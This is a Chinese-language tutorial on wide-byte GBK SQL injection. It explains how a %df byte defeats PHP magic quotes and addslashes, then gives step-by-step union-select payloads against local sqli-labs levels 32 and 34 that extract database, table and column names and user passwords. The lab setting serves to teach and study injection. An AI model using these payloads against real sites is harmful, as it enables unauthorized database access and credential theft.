宽字节注入
1.魔术引号
魔术引号会再你输入的单引号,双引号或者转移字符的时候,会在前面加一个\转义字符。PHP小于5.4的版本才会有效果(有平替函数)
magic_quotes_gpc(魔术函数开关) php5.4一下才有 在配置文件里面
在5.4版本以上变成了 addslsshes函数替代魔术引号
绕过方法 1.找不需要闭合的地方 select * from news where id=1
2.仔细研究作用域。(不通过get,post,cookie)head注入可以。
3. 宽字节注入。
2.GBK编码格式

3.宽字节SQL注入的原理
宽字节:多字节编码的字节。
我们可以在
%df拼接可以将\转义字符合到一起。就不会影响我们之后输入的闭合方法
get ,post注入
4.宽字节SQL注入练习
sqli-labs 第32-关 get
当我们输入http://127.0.0.1/sqll/Less-32/?id=1'',发现页面回显

说明存在转义字符。我们这时候就要用到%df来将\转换成字符然后闭合字段 http://127.0.0.1/sqll/Less-32/?id=-1%df' union select 1,database(),3-- qw 可以爆出数据库
爆表
输入 http://127.0.0.1/sqll/Less-32/?id=-1%df%27%20union%20select%201,2,table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%203,1--%20qw
爆字段
输入 http://127.0.0.1/sqll/Less-32/?id=-1%df' union select 1,2,column_name from information_schema.columns where table_schema=database() and table_name=0x7573657273 limit 1,1-- q
爆数据
输入 http://127.0.0.1/sqll/Less-32/?id=-1%df' union select 1,2,(select password from users limit 0,1)-- q
当然我们也可以用sqlmap去跑
sqli-labs 第34-关 post
当我们再输入%df发现页面输出了一个%df,说明并没有被转义成功。我们用burp看一下


可以发现 application/x-www-form-urlencoded 这个语句,这样他就会先编码再解码。 、
我们可以用burp来进行注入
判断字段 通过修改这里的数据,可以发现语句可以正常报错


爆显错位
输入 %df' union select 1,2 可以得知只有两个显错位
爆数据库
输入 %df' union select 1,database()
爆表名
输入%df' union select 1,table_name from information_schema.tables where table_schema=database() limit 0,1-- q

爆字段
输入%df' union select 1,column_name from information_schema.columns where table_schema=database() and table_name=0x7573657273 limit 1,1-- q
爆数据
输入 %df' union select 1,(select password from users limit 0,1)-- q

浙公网安备 33010602011771号